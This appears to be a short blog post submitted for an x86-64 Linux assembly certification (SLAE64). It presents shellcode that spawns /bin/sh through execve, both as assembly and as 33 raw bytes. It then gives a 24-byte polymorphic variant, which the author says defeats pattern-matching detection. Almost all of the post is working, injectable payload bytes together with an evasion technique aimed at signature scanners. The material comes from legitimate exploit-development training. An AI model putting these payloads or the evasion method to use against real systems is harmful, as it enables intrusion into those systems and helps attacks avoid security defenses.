; [Linux/X86-64] ; Dummy for shellcode: ; execve("/bin/sh", ["/bin/sh"], NULL) ; hophet [at] gmail.com global _start section .text _start: xor rdx, rdx mov rbx, 0x68732f6e69622fff shr rbx, 0x8 push rbx mov rdi, rsp xor rax, rax push rax push rdi mov rsi, rsp mov al, 0x3b syscall
It assembles to 33 bytes, as follows:
\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
Here is a polymorphic version which defeats pattern matching by changing the instructions, and rearranging the order things are done.
_start: xor esi, esi mov rdi, 0xff978cd091969dd1 neg rdi mul esi add al, 0x3b push rdi push rsp pop rdi syscall
The polymorphic version comes in at 24 bytes, which is actually shorter than the original. This means we could add NOPs to be even more polymorphic.
\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE64 - 1360
No comments :
Post a Comment